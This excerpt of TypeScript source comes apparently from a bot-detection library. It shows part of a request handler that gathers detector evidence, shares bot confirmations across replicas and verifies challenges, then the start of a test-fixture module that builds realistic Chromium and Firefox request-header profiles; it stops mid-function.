...this.policy.describeGuard(), suspectThreshold: this.config.suspectThreshold };\n\n const threshold = settings.suspectThreshold;\n if (threshold !== undefined && (!Number.isFinite(threshold) || threshold < 1 || threshold > 100)) {\n throw new ConfigError(`suspectThreshold must be between 1 and 100 (got ${String(threshold)}).`);\n }\n\n // Validation lives in the policy, and it throws before it assigns — so this line\n // either changes all four settings or none of them.\n this.policy.replaceGuard(settings);\n if (threshold !== undefined) this.config.suspectThreshold = threshold;\n\n const after = { ...this.policy.describeGuard(), suspectThreshold: this.config.suspectThreshold };\n const moved = (Object.keys(after) as Array<keyof typeof after>).filter((key) => after[key] !== before[key]);\n this.warn(\n moved.length === 0\n ? `Guard settings were re-applied at runtime${attribute(context)} with no change.`\n : `Guard settings changed at runtime${attribute(context)}: ${moved.map((key) => `${key} ${String(before[key])} → ${String(after[key])}`).join(\", \")}.`,\n );\n this.events.emit(\"guard-change\", { before, after, by: context.by });\n return { guard: after };\n }\n\n /**\n * Tells the other replicas that this actor has been proven a bot.\n *\n * Fire and forget, off the request path, and failure is silence: a store that is\n * unavailable costs the *other* instances a fact they would have liked, and costs\n * this request nothing at all. The window is the registry's own, so a shared count\n * ages out at the same rate the local one does rather than accumulating for ever.\n */\n private publishConfirmation(state: ActorState): void {\n if (this.registry.onFirstSight === undefined) return;\n // A write of this instance's own total rather than an increment, and the difference\n // is not incidental. `increment` buckets its key by window — that is what makes it\n // a fixed-window rate limiter — so what it writes is not what `get` reads back.\n //\n // Last writer wins, which under-counts when two replicas confirm the same actor\n // without having seen each other: each writes what it knows, and a third instance\n // reads the larger. It never over-counts, and under-counting is the safe direction\n // here, exactly as it is everywhere else in this library — a rule that reads\n // `minPriorConfirmations` fails towards not matching, which is towards not acting.\n const total = state.confirmations + (state.sharedConfirmations ?? 0);\n void this.store.set(`confirmed:${state.key}`, String(total), this.config.actorWindowMs).catch(() => {\n /* the local count still stands */\n });\n }\n\n /**\n * Asks the store what other replicas already know about an actor we have just met.\n *\n * Once per actor per instance, and deliberately *not* awaited: making it synchronous\n * would put a network round trip on the request path, which is the one thing the\n * behavioural state is arranged to avoid.\n *\n * So the request that triggers the read is assessed with whatever has arrived by the\n * time the detectors finish — which for a fast store is usually the answer, and for a\n * slow or distant one is nothing. Every request after it has the number. Neither\n * outcome is wrong: an actor nobody here has seen before is an actor with no local\n * history either, so the first request was always going to be judged on the request\n * alone.\n *\n * The read subtracts nothing. This instance has not confirmed anything about a\n * brand-new actor yet, so whatever the store holds was put there by somebody else,\n * and the two counts add up cleanly from here.\n */\n private loadSharedConfirmations(state: ActorState): void {\n void this.store\n .get(`confirmed:${state.key}`)\n .then((value) => {\n const shared = value === undefined ? 0 : Number.parseInt(value, 10);\n if (Number.isFinite(shared) && shared > 0) state.sharedConfirmations = shared;\n })\n .catch(() => {\n // A store outage leaves the actor with what this process saw itself, which is\n // where every actor was before this option existed.\n });\n }\n\n /** Names and sizes of every configured range set. */\n listRanges(): Array<{ name: string; size: number }> {\n return [...this.config.ranges].map(([name, set]) => ({ name, size: set.size }));\n }\n\n /** Every registered detector, for documentation and for checking what is actually installed. */\n describeDetectors(): DetectorDescription[] {\n return [...this.cheapDetectors, ...this.ioDetectors, ...this.confirmingDetectors].map((detector) => ({\n id: detector.id,\n description: detector.description,\n cost: detector.cost ?? \"cheap\",\n stage: detector.stage ?? \"always\",\n }));\n }\n\n /** Recovers the client address from a socket address and headers, honouring the proxy config. */\n resolveIp(socketAddress: string | undefined, headers: Record<string, string | undefined>): string {\n return resolveClientIp(socketAddress, headers, this.config.proxy);\n }\n\n actorKeyFor(facts: RequestFacts): string {\n try {\n return this.config.actorKey(facts);\n } catch (error) {\n this.fail(error, \"actorKey\");\n return facts.ip;\n }\n }\n\n isAllowlisted(ip: string): boolean {\n return this.config.ranges.get(\"allowlist\")?.contains(ip) ?? false;\n }\n\n isIgnoredPath(path: string): boolean {\n if (this.ignoreExact.has(path)) return true;\n return pathMatches(this.ignorePatterns, path);\n }\n\n /**\n * Gathers evidence and reaches a verdict. Never throws, never writes a response.\n *\n * Detectors run in three phases, ordered by what they cost:\n *\n * 1. **Cheap** — pure string and header inspection, sequential, microseconds.\n * 2. **I/O** — concurrent, each under its own timeout, so one slow lookup cannot\n * hold the request open.\n * 3. **Confirming** — only when the request actually claimed an identity worth\n * checking. A request that named no crawler resolves no DNS.\n */\n async assess(facts: RequestFacts, options: AssessOptions = {}): Promise<Assessment> {\n const started = this.config.clock.now();\n const requestId = randomId(9);\n const record = options.record !== false;\n\n if (this.isIgnoredPath(facts.path)) return this.bypassed(facts, requestId, started, \"ignored-path\", record);\n if (this.isAllowlisted(facts.ip)) return this.bypassed(facts, requestId, started, \"allowlist\", record);\n\n const actorKey = this.actorKeyFor(facts);\n // A dry run gets an actor of its own, created and discarded here. Anything else\n // would make asking the question change the answer to the next one: `observe`\n // records a request against the real actor, which moves its rate, its path breadth\n // and its cadence — the three things `cadence`, `crawl-breadth` and `rate-anomaly`\n // are reading. The cost is that a dry run has no history, and that is the honest\n // reading of a request that has not happened.\n const state = record ? this.registry.observe(actorKey, facts) : detachedActor(actorKey, facts);\n const ua = parseUserAgent(facts.headers[\"user-agent\"]);\n const signatureMatches = ua.lower.length > 0 ? this.signatures.matchAll(ua.lower) : [];\n\n const context: DetectionContext = {\n facts,\n ua,\n actor: state.snapshot(facts.timestamp),\n state,\n clock: this.config.clock,\n signatures: this.signatures,\n signatureMatches,\n resolver: this.resolver,\n ranges: this.config.ranges,\n shared: new Map<string, unknown>(),\n };\n\n const evidence: Evidence[] = [];\n const failures: DetectorFailure[] = [];\n\n // Cheap detectors are synchronous by contract, so they are run *without* an\n // await. This is not micro-optimisation for its own sake: `await` on a\n // non-promise still yields a microtask turn, so awaiting each of a dozen\n // detectors put a dozen scheduler round-trips on every request to the site,\n // which dominated the cost of a clean browser request. A detector that returns a\n // promise anyway is collected and awaited below, so the contract is enforced\n // by behaviour rather than by trust.\n let pending: Array<Promise<void>> | undefined;\n for (const detector of this.cheapDetectors) {\n const inFlight = this.run(detector, context, evidence, failures, 0);\n if (inFlight !== undefined) (pending ??= []).push(inFlight);\n }\n\n for (const detector of this.ioDetectors) {\n const inFlight = this.run(detector, context, evidence, failures, this.config.detectorTimeoutMs);\n if (inFlight !== undefined) (pending ??= []).push(inFlight);\n }\n\n if (pending !== undefined) await Promise.all(pending);\n\n // The confirming stage exists to turn a *claim* into a verified identity or a\n // proven forgery. With no claim there is nothing to confirm and no lookup to make.\n if (signatureMatches.length > 0 && this.confirmingDetectors.length > 0) {\n let confirming: Array<Promise<void>> | undefined;\n for (const detector of this.confirmingDetectors) {\n const inFlight = this.run(detector, context, evidence, failures, this.config.detectorTimeoutMs);\n if (inFlight !== undefined) (confirming ??= []).push(inFlight);\n }\n if (confirming !== undefined) await Promise.all(confirming);\n }\n\n if (this.isHuman !== undefined) {\n try {\n if (this.isHuman(facts)) {\n evidence.push({\n detector: \"operator-assertion\",\n summary: \"The application identified this request as belonging to a person\",\n direction: \"human\",\n certainty: \"certain\",\n deterministicBasis: \"The operator's own code asserted this, on evidence the request does not carry — a signed-in session, a completed payment, or whatever bar the application sets. It is an assertion, not an inference.\",\n });\n }\n } catch (error) {\n this.fail(error, \"isHuman\");\n }\n }\n\n const combined = combineEvidence(evidence, {\n suspectThreshold: this.config.suspectThreshold,\n strictEvidence: this.config.strictEvidence,\n onEvidenceViolation: (message) => this.warn(message),\n });\n\n // Snapshot before recording this request's own outcome. `priorConfirmations`\n // means \"how many times has this actor been proven a bot *before now*\", and a\n // rule reading `minPriorConfirmations: 1` should not match on an actor's very\n // first request.\n const actor = state.snapshot(facts.timestamp);\n if (combined.verdict === \"confirmed-bot\" && record) {\n state.confirmations++;\n this.publishConfirmation(state);\n }\n\n const assessment: Assessment = {\n requestId,\n verdict: combined.verdict,\n botClass: combined.botClass,\n identity: combined.identity,\n score: combined.score,\n confidence: Math.round(combined.confidence * 1000) / 1000,\n certain: combined.certain,\n evidence: combined.botEvidence,\n humanEvidence: combined.humanEvidence,\n actor,\n durationMs: this.config.clock.now() - started,\n failures,\n facts,\n };\n\n // A dry run is counted by nothing and told to nobody: it is not traffic, and a\n // counter that includes the questions an operator asked about traffic is a counter\n // that disagrees with the access log.\n if (!record) return assessment;\n\n this.meter?.recordAssessment(assessment);\n this.audit?.record(assessment);\n this.events.emit(\"assessment\", assessment);\n // `enabled` is checked here rather than inside `emit` because constructing the\n // event is itself the expensive part — an ISO timestamp costs more than several\n // detectors — and with no sinks configured it would be built and discarded on\n // every single request.\n if (assessment.verdict !== \"unknown\" && this.notifications.enabled) {\n this.notifications.emit({ type: \"detection\", at: new Date(facts.timestamp).toISOString(), assessment });\n }\n return assessment;\n }\n\n /** Applies the policy. Pure — no I/O, no side effects beyond the downgrade notification. */\n decide(assessment: Assessment): Decision {\n const decision = this.policy.decide(assessment);\n this.meter?.recordDecision(decision);\n this.audit?.recordDecision(decision, assessment.facts.timestamp);\n this.events.emit(\"decision\", { assessment, decision });\n // Derived once, here, so every integration agrees about what a denial is and what\n // a guard stop is. `downgrade` fires for the rule that was refused, whatever the\n // substitute turned out to be.\n if (decision.downgradedFrom !== undefined) this.events.emit(\"downgrade\", { assessment, decision });\n if (TERMINAL_ACTIONS.has(decision.action)) this.events.emit(\"denial\", { assessment, decision });\n return decision;\n }\n\n /** Assess, decide, and turn the decision into an outcome for an adapter to apply. */\n async handle(facts: RequestFacts): Promise<HandleResult> {\n const assessment = await this.assess(facts);\n const decision = this.decide(assessment);\n\n const outcome = await executeAction({\n assessment,\n decision,\n store: this.store,\n challenge: this.challenge,\n clock: this.config.clock,\n exposeVerdictHeaders: this.config.exposeVerdictHeaders,\n handlers: this.handlers,\n onWarning: (message) => this.warn(message),\n onChallenge: (event: \"issued\") => {\n this.meter?.recordChallenge(event);\n // Counted here rather than derived later: at this moment the challenge is\n // outstanding, and it stays outstanding until a solution arrives or the actor\n // ages out of the registry. `verifyChallenge` is the only thing that clears it.\n const state = this.registry.peek(assessment.actor.key);\n if (state !== undefined) state.unsolvedChallenges++;\n this.events.emit(\"challenge\", { phase: event, actorKey: assessment.actor.key });\n },\n });\n\n // Notify only when something was actually withheld or altered. An `allow` on a\n // recognised crawler is not news, and treating it as such is how a channel that\n // matters becomes one nobody reads.\n if (this.notifications.enabled && (outcome.kind !== \"continue\" || outcome.delayMs !== undefined)) {\n this.notifications.emit({ type: \"action\", at: new Date(facts.timestamp).toISOString(), assessment, decision });\n }\n\n return { assessment, decision, outcome };\n }\n\n /** True when this request is the challenge verification endpoint. */\n isChallengeEndpoint(facts: Pick<RequestFacts, \"method\" | \"path\">): boolean {\n return this.challenge !== undefined && facts.method === \"POST\" && facts.path === this.challenge.verifyPath;\n }\n\n /**\n * Verifies a submitted challenge solution.\n *\n * Deliberately its own entry point rather than something `handle` detects: the\n * verification endpoint must not itself be assessed, or a client that has just been\n * challenged would be challenged again for trying to answer.\n */\n async verifyChallenge(facts: RequestFacts, body: unknown): Promise<SolutionOutcome> {\n if (!this.challenge) return { ok: false, status: 404, reason: \"no challenge configured\" };\n const actorKey = this.actorKeyFor(facts);\n const outcome = await this.challenge.verifySolution(actorKey, body);\n this.meter?.recordChallenge(outcome.ok ? \"solved\" : \"rejected\");\n // A solve lands on a *later* request than the challenge that prompted it, so the\n // audit has to be told rather than being able to derive it from decisions.\n if (outcome.ok) this.audit?.recordChallengeSolved(this.config.clock.now());\n this.events.emit(\"challenge\", { phase: outcome.ok ? \"solved\" : \"rejected\", actorKey });\n if (outcome.ok) {\n // Solving one clears the lot. The count is meant to say \"has been asked and never\n // answers\", and somebody who answers has answered — carrying their earlier\n // abandoned attempts forward would keep accusing a person who just proved they\n // are one.\n const solver = this.registry.peek(actorKey);\n if (solver !== undefined) solver.unsolvedChallenges = 0;\n\n // Record the clearance locally too, so behavioural detectors can see it without\n // re-verifying the cookie on every subsequent request. It has to expire *with*\n // the cookie rather than on a fixed hour of its own: this flag is what stops an\n // actor being challenged again, so outliving the token it mirrors would hand\n // whoever solved one puzzle a stretch of unchallengeable requests afterwards.\n this.registry.clearUntil(actorKey, this.config.clock.now() + this.challenge.clearanceTtlMs);\n }\n return outcome;\n }\n\n /**\n * Mints a clearance cookie for an actor, bypassing the challenge.\n *\n * Call it the moment your application knows something the request cannot show — a\n * completed login, a verified payment. `operator` clearance is the only conclusive\n * human signal this library recognises.\n */\n grantClearance(facts: RequestFacts, level: \"pow\" | \"interaction\" | \"operator\" = \"operator\"): string | undefined {\n if (!this.challenge) return undefined;\n const actorKey = this.actorKeyFor(facts);\n // Mirrored locally for the same reason a solved challenge is: the cookie only\n // starts arriving on the *next* request, and until it does the registry flag is\n // the only thing stopping this actor being challenged for something the operator\n // has already vouched for.\n this.registry.clearUntil(actorKey, this.config.clock.now() + this.challenge.clearanceTtlMs);\n return this.challenge.grant(actorKey, level);\n }\n\n /**\n * Runs one detector.\n *\n * Returns `undefined` when the detector completed synchronously — the common case,\n * and the one worth keeping off the microtask queue — or a promise the caller must\n * await. Failures are absorbed here in both paths: a detector can throw, reject or\n * hang, and none of those may reach the request.\n */\n private run(detector: Detector, context: DetectionContext, sink: Evidence[], failures: DetectorFailure[], timeoutMs: number): Promise<void> | undefined {\n // Two clock reads per detector per request, and only when the operator has asked\n // for them: on a twenty-detector set that is forty reads to measure work usually\n // counted in microseconds. See `MetricsSnapshot.detectorTimings`.\n //\n // Written as a number and four call sites rather than as a closure, because a\n // closure here is allocated per detector per request whether or not timing is on —\n // twenty allocations on the hot path to support a feature that is off by default.\n // The benchmark caught it: it cost more than the audit, the metrics and the event\n // emitter put together.\n const startedAt = this.timing ? this.config.clock.now() : 0;\n\n let raw: DetectorResult | Promise<DetectorResult>;\n try {\n raw = detector.inspect(context);\n } catch (error) {\n if (startedAt !== 0) this.meter?.recordDetectorTiming(detector.id, this.config.clock.now() - startedAt);\n this.recordFailure(detector, failures, error);\n return undefined;\n }\n\n if (!(raw instanceof Promise)) {\n this.collect(raw, sink);\n if (startedAt !== 0) this.meter?.recordDetectorTiming(detector.id, this.config.clock.now() - startedAt);\n return undefined;\n }\n\n // A detector declared `cheap` that returns a promise anyway still gets a timeout:\n // mislabelling one is exactly the mistake that would put an unbounded await on\n // the request path, so the contract is enforced rather than assumed.\n const budget = timeoutMs > 0 ? timeoutMs : this.config.detectorTimeoutMs;\n const timedOut = TIMED_OUT;\n return withTimeout(raw as Promise<unknown>, budget, timedOut as unknown).then(\n (result) => {\n if (startedAt !== 0) this.meter?.recordDetectorTiming(detector.id, this.config.clock.now() - startedAt);\n if (result === timedOut) {\n const message = `exceeded ${budget}ms`;\n failures.push({ detector: detector.id, reason: \"timeout\", message });\n this.events.emit(\"detector-failure\", { detector: detector.id, reason: \"timeout\", message, requestId: \"\" });\n return;\n }\n this.collect(result as DetectorResult, sink);\n },\n (error: unknown) => {\n if (startedAt !== 0) this.meter?.recordDetectorTiming(detector.id, this.config.clock.now() - startedAt);\n this.recordFailure(detector, failures, error);\n },\n );\n }\n\n private collect(result: DetectorResult, sink: Evidence[]): void {\n if (result === undefined || result === null) return;\n if (Array.isArray(result)) {\n for (let i = 0; i < result.length; i++) sink.push(result[i]!);\n return;\n }\n sink.push(result as Evidence);\n }\n\n private recordFailure(detector: Detector, failures: DetectorFailure[], error: unknown, requestId = \"\"): void {\n const message = error instanceof Error ? error.message : String(error);\n failures.push({ detector: detector.id, reason: \"error\", message });\n this.events.emit(\"detector-failure\", { detector: detector.id, reason: \"error\", message, requestId });\n this.fail(error, `detector:${detector.id}`);\n }\n\n private bypassed(facts: RequestFacts, requestId: string, started: number, reason: \"allowlist\" | \"ignored-path\", record = true): Assessment {\n const actorKey = this.actorKeyFor(facts);\n const existing: ActorState | undefined = this.registry.peek(actorKey);\n const assessment: Assessment = {\n requestId,\n verdict: \"unknown\",\n botClass: \"unknown\",\n score: 0,\n confidence: 0,\n certain: false,\n evidence: [],\n humanEvidence: [],\n actor: existing?.snapshot(facts.timestamp) ?? {\n key: actorKey,\n requests: 0,\n distinctPaths: 0,\n firstSeen: facts.timestamp,\n lastSeen: facts.timestamp,\n priorConfirmations: 0,\n unsolvedChallenges: 0,\n cleared: false,\n },\n bypass: reason,\n durationMs: this.config.clock.now() - started,\n failures: [],\n facts,\n };\n if (record) {\n this.meter?.recordAssessment(assessment);\n this.audit?.record(assessment);\n }\n return assessment;\n }\n\n /**\n * Raises a warning through the handler's own channel.\n *\n * Public because things outside this class legitimately have something to say: an\n * adapter that has spotted a misconfiguration, the crawler-range refresher reporting\n * a publisher it could not reach. Both used to call `config.onWarning` directly,\n * which reaches the callback and *not* the `warning` event — so a subscriber, and\n * with it the dashboard's notices panel, never heard about either. One channel, one\n * set of listeners.\n */\n warn(message: string): void {\n this.events.emit(\"warning\", message);\n this.config.onWarning(message);\n }\n\n private fail(error: unknown, source: string): void {\n this.events.emit(\"error\", { error, source });\n this.config.onError(error, { source });\n }\n}\n\n/** How often the audit compares its windows. Defaults to a minute. */\n/** \" by ada@example.com\", or nothing at all. Reads as a sentence either way. */\nfunction attribute(context: ChangeContext): string {\n return context.by === undefined || context.by === \"\" ? \"\" : ` by ${context.by}`;\n}\n\n/** A one-request actor, for a dry run. Never enters the registry, never seen again. */\nfunction detachedActor(key: string, facts: RequestFacts): ActorState {\n const state = new ActorState(key, facts.timestamp);\n state.record(facts);\n return state;\n}\n\nfunction auditInterval(audit: AuditOptions | false | undefined): number {\n return typeof audit === \"object\" && audit.intervalMs !== undefined ? audit.intervalMs : 60_000;\n}\n","import type { CaseRequest } from \"./schema.js\";\n\n/**\n * Header profiles for real clients.\n *\n * Three things here are load-bearing and easy to get wrong when writing fixtures by\n * hand.\n *\n * **Order.** Each engine emits headers in a fixed sequence that differs between\n * Chromium, Gecko and WebKit and barely changes across releases. It is one of the few\n * properties a scraper cannot fix by copying a User-Agent, so a corpus that gets the\n * order wrong is testing a client that does not exist.\n *\n * **Completeness.** A real browser sends a whole cluster together — the negotiation\n * headers, the `Sec-Fetch-*` set, the Client Hints on Chromium, a dozen cookies it\n * never asked for. Omitting one because it seemed unimportant turns a human fixture\n * into a bot fixture and quietly inverts what the case proves.\n *\n * **The optional apparatus.** Modern browsers carry a long tail of conditional\n * headers: high-entropy Client Hints once a server has asked for them, `Sec-GPC` from\n * privacy-preserving builds, `Save-Data` on metered connections, `Sec-Purpose` on\n * speculative loads, `Early-Data` on a TLS 1.3 resumption, cache validators on a\n * revisit. Each is modelled here because each is something a hand-rolled client\n * forgets, and because a corpus of only the happy path tests only the happy path.\n *\n * Sources: 2026 User-Agent lists; W3C `TR/fetch-metadata` for the `Sec-Fetch-*`\n * combinations; the UA Client Hints specification for the `Sec-CH-*` set; observed\n * request captures.\n */\n\nexport type Header = readonly [name: string, value: string];\n\n/** What kind of request this is. Decides the `Sec-Fetch-*` set and the `Accept` value. */\nexport type RequestKind =\n /** Typing a URL or following a bookmark: no referrer, user-initiated. */\n | \"navigate\"\n /** Following a link within the site. */\n | \"same-origin-navigate\"\n /** Arriving from another site. */\n | \"cross-site-navigate\"\n /** A form POST back to the same origin. */\n | \"form-post\"\n /** `fetch()` for JSON from page script. */\n | \"xhr\"\n /** A cross-origin `fetch()` that will be preflighted. */\n | \"cors\"\n /** An image, font or stylesheet. */\n | \"subresource\"\n /** A stylesheet specifically. */\n | \"stylesheet\"\n /** A script tag. */\n | \"script\"\n /** A media byte-range request from a `<video>`. */\n | \"media\"\n /** An `EventSource` stream. */\n | \"eventsource\"\n /** A `<iframe>` load. */\n | \"iframe\";\n\nexport interface ProfileOptions {\n kind?: RequestKind;\n host?: string;\n /** Cookie header value. See `cookies.ts` for realistic jars. */\n cookie?: string;\n referer?: string;\n origin?: string;\n /** Overrides the profile's default language list — a real setting people change. */\n acceptLanguage?: string;\n /** High-entropy Client Hints, sent only after a server advertises `Accept-CH`. */\n highEntropyHints?: boolean;\n /** `DNT: 1`. Still sent by a meaningful minority despite being deprecated. */\n dnt?: boolean;\n /** `Sec-GPC: 1` — Global Privacy Control, sent by Brave, DuckDuckGo and others. */\n gpc?: boolean;\n /** `Save-Data: on` — a metered or data-saver connection. */\n saveData?: boolean;\n /** Network Information hints (`RTT`, `Downlink`, `ECT`), also gated behind `Accept-CH`. */\n networkHints?: { rtt: number; downlink: number; ect: \"slow-2g\" | \"2g\" | \"3g\" | \"4g\" };\n /** Layout hints (`Viewport-Width`, `DPR`, `Width`), gated behind `Accept-CH`. */\n layoutHints?: { viewportWidth: number; dpr: number };\n /** Conditional request headers from a revisit. */\n revalidate?: { etag?: string; modifiedSince?: string };\n /** `Cache-Control: max-age=0`, which a browser sends on an explicit reload. */\n reload?: boolean;\n /** `Sec-Purpose: prefetch` plus the legacy `Purpose` header. */\n prefetch?: boolean;\n /** `Sec-Fetch-Storage-Access`, sent by recent Chromium in third-party contexts. */\n storageAccess?: \"none\" | \"active\" | \"inactive\";\n /** User preference hints, sent when the server asks for them. */\n prefers?: { colorScheme?: \"light\" | \"dark\"; reducedMotion?: \"no-preference\" | \"reduce\" };\n /** `Early-Data: 1` — a TLS 1.3 0-RTT resumption replayed by an intermediary. */\n earlyData?: boolean;\n /** Byte range for a media request. */\n range?: string;\n /** Body content type for a POST. */\n contentType?: string;\n contentLength?: number;\n}\n\nconst HOST = \"shop.example\";\n\ninterface EngineProfile {\n userAgent: string;\n acceptDocument: string;\n acceptEncoding: string;\n acceptLanguage: string;\n build: (options: ResolvedOptions, self: EngineProfile) => Header[];\n}\n\ntype ResolvedOptions = ProfileOptions & Required<Pick<ProfileOptions, \"host\" | \"kind\" | \"acceptLanguage\">>;\n\n// --- Fetch Metadata, per W3C TR/fetch-metadata -------------------------------\n\nfunction fetchMetadata(kind: RequestKind): Header[] {\n switch (kind) {\n case \"navigate\":\n return [[\"Sec-Fetch-Site\", \"none\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-User\", \"?1\"], [\"Sec-Fetch-Dest\", \"document\"]];\n case \"same-origin-navigate\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-User\", \"?1\"], [\"Sec-Fetch-Dest\", \"document\"]];\n case \"cross-site-navigate\":\n return [[\"Sec-Fetch-Site\", \"cross-site\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-User\", \"?1\"], [\"Sec-Fetch-Dest\", \"document\"]];\n case \"form-post\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-User\", \"?1\"], [\"Sec-Fetch-Dest\", \"document\"]];\n case \"xhr\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"cors\"], [\"Sec-Fetch-Dest\", \"empty\"]];\n case \"cors\":\n return [[\"Sec-Fetch-Site\", \"cross-site\"], [\"Sec-Fetch-Mode\", \"cors\"], [\"Sec-Fetch-Dest\", \"empty\"]];\n case \"subresource\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"no-cors\"], [\"Sec-Fetch-Dest\", \"image\"]];\n case \"stylesheet\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"no-cors\"], [\"Sec-Fetch-Dest\", \"style\"]];\n case \"script\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"no-cors\"], [\"Sec-Fetch-Dest\", \"script\"]];\n case \"media\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"no-cors\"], [\"Sec-Fetch-Dest\", \"video\"]];\n case \"eventsource\":\n return [[\"Sec-Fetch-Site\", \"same-origin\"], [\"Sec-Fetch-Mode\", \"cors\"], [\"Sec-Fetch-Dest\", \"empty\"]];\n case \"iframe\":\n return [[\"Sec-Fetch-Site\", \"cross-site\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-Dest\", \"iframe\"]];\n }\n}\n\nfunction acceptFor(kind: RequestKind, documentAccept: string): string {\n switch (kind) {\n case \"xhr\":\n case \"cors\":\n return \"*/*\";\n case \"eventsource\":\n return \"text/event-stream\";\n case \"subresource\":\n return \"image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\";\n case \"stylesheet\":\n return \"text/css,*/*;q=0.1\";\n case \"script\":\n return \"*/*\";\n case \"media\":\n return \"*/*\";\n default:\n return documentAccept;\n }\n}\n\nconst isNavigation = (kind: RequestKind): boolean => kind.endsWith(\"navigate\") || kind === \"form-post\";\n\n/** Headers a browser adds only in particular circumstances. Shared by every engine. */\nfunction conditional(options: ResolvedOptions): { early: Header[]; late: Header[] } {\n const early: Header[] = [];\n const late: Header[] = [];\n\n if (options.reload === true) early.push([\"Cache-Control\", \"max-age=0\"]);\n if (options.earlyData === true) early.push([\"Early-Data\", \"1\"]);\n if (options.revalidate?.etag !== undefined) early.push([\"If-None-Match\", options.revalidate.etag]);\n if (options.revalidate?.modifiedSince !== undefined) early.push([\"If-Modified-Since\", options.revalidate.modifiedSince]);\n if (options.range !== undefined) early.push([\"Range\", options.range]);\n\n if (options.dnt === true) late.push([\"DNT\", \"1\"]);\n if (options.gpc === true) late.push([\"Sec-GPC\", \"1\"]);\n if (options.saveData === true) late.push([\"Save-Data\", \"on\"]);\n if (options.networkHints) {\n late.push([\"RTT\", String(options.networkHints.rtt)], [\"Downlink\", String(options.networkHints.downlink)], [\"ECT\", options.networkHints.ect]);\n }\n if (options.layoutHints) {\n late.push([\"Viewport-Width\", String(options.layoutHints.viewportWidth)], [\"DPR\", String(options.layoutHints.dpr)]);\n }\n if (options.prefetch === true) late.push([\"Sec-Purpose\", \"prefetch\"], [\"Purpose\", \"prefetch\"]);\n\n return { early, late };\n}\n\nfunction body(options: ResolvedOptions): Header[] {\n if (options.contentType === undefined) return [];\n const headers: Header[] = [[\"Content-Type\", options.contentType]];\n if (options.contentLength !== undefined) headers.push([\"Content-Length\", String(options.contentLength)]);\n return headers;\n}\n\n// --- Chromium ----------------------------------------------------------------\n\ninterface ChromiumBrands {\n /** Low-entropy brand list, always sent on a secure context. */\n brands: string;\n /** Full-version list, sent only once the server has advertised `Accept-CH`. */\n fullVersions: string;\n platform: string;\n platformVersion: string;\n mobile: boolean;\n model?: string;\n arch?: string;\n bitness?: string;\n}\n\n/**\n * Chromium's order: connection management, then the Client Hints block, then the\n * identity, then content negotiation split either side of the Fetch Metadata group.\n */\nfunction chromiumBuild(brands: ChromiumBrands) {\n return (options: ResolvedOptions, self: EngineProfile): Header[] => {\n const nav = isNavigation(options.kind);\n const { early, late } = conditional(options);\n const hints: Header[] = [\n [\"sec-ch-ua\", brands.brands],\n [\"sec-ch-ua-mobile\", brands.mobile ? \"?1\" : \"?0\"],\n [\"sec-ch-ua-platform\", `\"${brands.platform}\"`],\n ];\n if (options.highEntropyHints === true) {\n hints.push(\n [\"sec-ch-ua-full-version-list\", brands.fullVersions],\n [\"sec-ch-ua-platform-version\", `\"${brands.platformVersion}\"`],\n [\"sec-ch-ua-arch\", `\"${brands.arch ?? (brands.mobile ? \"arm\" : \"x86\")}\"`],\n [\"sec-ch-ua-bitness\", `\"${brands.bitness ?? \"64\"}\"`],\n [\"sec-ch-ua-model\", `\"${brands.model ?? \"\"}\"`],\n );\n }\n if (options.prefers?.colorScheme !== undefined) hints.push([\"Sec-CH-Prefers-Color-Scheme\", options.prefers.colorScheme]);\n if (options.prefers?.reducedMotion !== undefined) hints.push([\"Sec-CH-Prefers-Reduced-Motion\", options.prefers.reducedMotion]);\n\n return [\n [\"Host\", options.host],\n [\"Connection\", \"keep-alive\"],\n ...early,\n ...hints,\n ...(nav ? ([[\"Upgrade-Insecure-Requests\", \"1\"]] as Header[]) : []),\n [\"User-Agent\", self.userAgent],\n ...(options.origin !== undefined ? ([[\"Origin\", options.origin]] as Header[]) : []),\n ...body(options),\n [\"Accept\", acceptFor(options.kind, self.acceptDocument)],\n ...fetchMetadata(options.kind),\n ...(options.storageAccess !== undefined ? ([[\"Sec-Fetch-Storage-Access\", options.storageAccess]] as Header[]) : []),\n ...(options.referer !== undefined ? ([[\"Referer\", options.referer]] as Header[]) : []),\n [\"Accept-Encoding\", self.acceptEncoding],\n [\"Accept-Language\", options.acceptLanguage],\n ...late,\n [\"Priority\", nav ? \"u=0, i\" : \"u=1, i\"],\n ...(options.cookie !== undefined ? ([[\"Cookie\", options.cookie]] as Header[]) : []),\n ];\n };\n}\n\n// --- Gecko -------------------------------------------------------------------\n\n/** Firefox leads with identity and content negotiation, and closes with Fetch Metadata. */\nfunction geckoBuild(options: ResolvedOptions, self: EngineProfile): Header[] {\n const nav = isNavigation(options.kind);\n const { early, late } = conditional(options);\n return [\n [\"Host\", options.host],\n [\"User-Agent\", self.userAgent],\n [\"Accept\", acceptFor(options.kind, self.acceptDocument)],\n [\"Accept-Language\", options.acceptLanguage],\n [\"Accept-Encoding\", self.acceptEncoding],\n ...(options.referer !== undefined ? ([[\"Referer\", options.referer]] as Header[]) : []),\n ...(options.origin !== undefined ? ([[\"Origin\", options.origin]] as Header[]) : []),\n ...body(options),\n ...late,\n [\"Connection\", \"keep-alive\"],\n ...(options.cookie !== undefined ? ([[\"Cookie\", options.cookie]] as Header[]) : []),\n ...early,\n ...(nav ? ([[\"Upgrade-Insecure-Requests\", \"1\"]] as Header[]) : []),\n ...reorderForGecko(fetchMetadata(options.kind)),\n [\"Priority\", nav ? \"u=0, i\" : \"u=4\"],\n [\"TE\", \"trailers\"],\n ];\n}\n\n/** Gecko emits Dest, Mode, Site, User — the reverse of Chromium's grouping. */\nfunction reorderForGecko(headers: 